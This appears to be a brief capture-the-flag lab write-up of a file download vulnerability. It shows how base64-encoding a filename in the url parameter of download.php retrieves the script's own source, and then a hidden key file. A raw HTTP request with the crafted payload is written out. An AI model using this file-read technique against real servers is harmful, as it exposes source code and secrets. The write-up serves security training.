File download vulnerability exercise (1)
(1) Open the web page
(2) grab the bag first.
We noticed that:
Url=Y2hvdWJhZ3VhaS5tcDM and / download.php
Decode it first and see what it is.
It's a file name.
(3) We try to replace it with download.php.
GET / download.php?url=ZG93bmxvYWQucGhw= HTTP/1.1Host: e2ad76b4d4b6d6ed.yunyansec.comUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: http://e2ad76b4d4b6d6ed.yunyansec.com/Accept-Language: zh-CN,zh;q=0.9Connection: close
(4) the file was downloaded successfully. After opening it, it is found that hereiskey.php can still be downloaded.
Also code first.
Get key
